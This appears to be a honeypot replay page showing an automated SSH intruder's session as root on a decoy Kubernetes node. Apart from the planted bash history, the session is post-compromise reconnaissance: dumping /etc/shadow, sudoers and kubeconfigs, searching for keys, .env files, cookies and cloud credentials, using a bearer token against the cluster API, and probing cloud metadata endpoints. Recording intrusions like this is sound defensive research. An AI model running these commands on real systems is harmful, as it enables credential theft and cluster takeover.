connected from 🇩🇪 Bad Soden am Taunus (Neuenhain), Germany · SSH-2.0-paramiko_5.1.0
root@se-sto-oracle-1's password: Logged in as root
root@se-sto-oracle-1:~# cat /root/.bash_history 2>/dev/nullapt update
apt install -y containerd runc conntrack socat ebtables iptables curl
systemctl enable --now containerd
mkdir -p /etc/containerd
containerd config default > /etc/containerd/config.toml
nano /etc/containerd/config.toml
systemctl restart containerd
apt-mark hold kubelet kubeadm kubectl
kubeadm version
kubectl version --client
kubeadm token list
systemctl status kubelet
journalctl -u kubelet --since yesterday
crictl ps
crictl pods
iptables -t nat -L KUBE-SERVICES -n
sysctl net.bridge.bridge-nf-call-iptables
exit
ifconfig 2>/dev/null || cat /proc/net/fib_trie 2>/dev/null | grep -A1 '32 host' | head -20
; echo ___CMDDONE___$?
cat /etc/os-release 2>/dev/null; echo ==; cat /etc/hosts 2>/dev/null; echo ==; route -n 2>/dev/null || cat /proc/net/route 2>/dev/null | head
; echo ___CMDDONE___$?
cat /etc/passwd
; echo ___CMDDONE___$?
wc -l /etc/shadow 2>/dev/null; grep -vE '^[^:]+:[!*]' /etc/shadow 2>/dev/null | head -40
; echo ___CMDDONE___$?
ls -la /home/ 2>/dev/null; echo ==; getent passwd | awk -F: '$3>=1000 && $3<65534{print $1,$3,$6,$7}'
; echo ___CMDDONE___$?
cat /etc/sudoers 2>/dev/null | grep -vE '^#|^$' ; echo ==LS==; ls -la /etc/sudoers.d/ 2>/dev/null; for f in /etc/sudoers.d/*; do echo ---$f; cat $f 2>/dev/null; done
; echo ___CMDDONE___$?
echo ROOT_KUBE; ls -la /root/.kube/ 2>/dev/null; for f in /root/.kube/config /root/.kube/admin.conf; do echo ---$f; cat $f 2>/dev/null; done; echo USER_KUBE; for d in /home/*/.kube; do echo ---$d; ls -la $d 2>/dev/null; cat $d/config 2>/dev/null; done
; echo ___CMDDONE___$?
echo HELLO; grep '^root:' /etc/shadow
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type f \( -name '*.env' -o -name '.env' -o -name '*.pem' -o -name '*.key' -o -name '*.kdbx' -o -name 'credentials' -o -name 'config' -o -name '*.yml' -o -name '*.yaml' -o -name '*.json' -o -name '*.sql' -o -name '*.bak' -o -name '*.conf' -o -name '.git-credentials' -o -name '*Login Data*' -o -name 'Cookies' -o -name '*history*' \) -print 2>/dev/null | head -300
echo ___CMDDONE___$?
for d in /root /home/*; do echo ===$d===; ls -la $d 2>/dev/null; done
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type f \( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' -o -name 'id_dsa' -o -name 'known_hosts' -o -name 'authorized_keys' -o -name '*.ppk' \) -print 2>/dev/null | head -100
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.oci' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
find / -xdev \( -path /proc -o -path /sys \) -prune -o -type d -name '.aws' -print 2>/dev/null | head -50
echo ___CMDDONE___$?
ls -la /var/run/docker.sock 2>/dev/null; echo ==; which docker crictl ctr nerdctl kubectl 2>/dev/null; echo ==; ls -la /var/lib/docker /var/lib/containerd 2>/dev/null | head -40
echo ___CMDDONE___$?
cat /home/marta/.bash_history
echo ___CMDDONE___$?
cat /root/.bash_history
echo ___CMDDONE___$?
cat /home/marta/parcelwise/values.yaml
echo ___CMDDONE___$?
cat /etc/kubernetes/kubelet.conf 2>/dev/null | head -40; echo ===KCFG===; cat /var/lib/kubelet/config.yaml 2>/dev/null | head -40
echo ___CMDDONE___$?
export KUBECONFIG=/home/marta/.kube/config; kubectl --kubeconfig=/home/marta/.kube/config get nodes 2>&1 | head -20; echo '[NS]'; kubectl --kubeconfig=/home/marta/.kube/config get ns 2>&1 | head -30
echo ___CMDDONE___$?
echo API=10.44.0.10:6443; curl -sk --max-time 8 -H 'Authorization: Bearer b19bbaef25257f6f4c6aa2e55ee0c94e' https://10.44.0.10:6443/api/v1/namespaces 2>&1 | head -c 3000
echo ___CMDDONE___$?
echo AAA; printf 'BBB\n'; /bin/echo CCC; echo $?; date; ps aux | head -5; echo DNS; getent hosts google.com 2>&1; echo DONE
echo ___CMDDONE___$?
ss -tlnp 2>/dev/null | head -20; netstat -tlnp 2>/dev/null | head -20
echo ___CMDDONE___$?
crictl ps -a 2>&1 | head -30; echo ===PODS===; crictl pods 2>&1 | head -30
echo ___CMDDONE___$?
ls -la /run/containerd/containerd.sock 2>&1; ls -la /var/lib/containerd/io.containerd.grpc.v1.cri/containers/ 2>&1 | head; echo ===; ctr -n k8s.io containers list 2>&1 | head -20
echo ___CMDDONE___$?
env | grep -iE 'AWS|OCI|TOKEN|SECRET|KEY|PASS' 2>/dev/null; echo ==PROC1==; cat /proc/1/cmdline 2>/dev/null | tr '\0' ' '; echo
echo ___CMDDONE___$?
curl -s --max-time 5 -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/instance/ 2>&1 | head -20; echo '===IMDSv2==='; curl -s --max-time 5 http://169.254.169.254/opc/v1/instance/ 2>&1 | head -20; echo '===AWS==='; curl -s --max-time 5 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20; echo EOM
echo ___CMDDONE___$?
file /bin/ls /usr/bin/find /usr/bin/curl /bin/bash /usr/bin/date 2>&1 | head -20; echo ==; echo 'int main(){return 0;}' > /dev/null; echo NOCWRITE
echo ___CMDDONE___$?
cat /etc/resolv.conf 2>&1; echo ==; getent hosts github.com 2>&1; echo RC=$?; echo ==; cat /proc/net/route 2>&1 | head -10
echo ___CMDDONE___$?
systemctl status kubelet --no-pager 2>&1 | head -25; echo ==; ls -la /var/lib/kubelet/ 2>&1 | head -30; echo ==CERTS==; ls -la /etc/kubernetes/pki/ 2>&1 | head -30
echo ___CMDDONE___$?
cat /etc/shadow 2>&1
echo ___CMDDONE___$?
crontab -l 2>&1; echo ===ETC_CRONTAB===; cat /etc/crontab 2>&1; echo ===CROND===; ls -la /etc/cron.d/ /etc/cron.daily/ 2>&1 | head -30; echo ===SYSTEMD_TIMER===; systemctl list-timers --no-pager 2>&1 | head -20
echo ___CMDDONE___$?
for d in /opt /srv /var/backups /mnt /media; do echo ===$d===; ls -laR $d 2>&1 | head -40; done
echo ___CMDDONE___$?Disconnected · 0s inside
0:00 / 0:00
What they found: A container cluster's worker nodeOne machine of a small company's self-hosted container cluster, running its customer-facing services.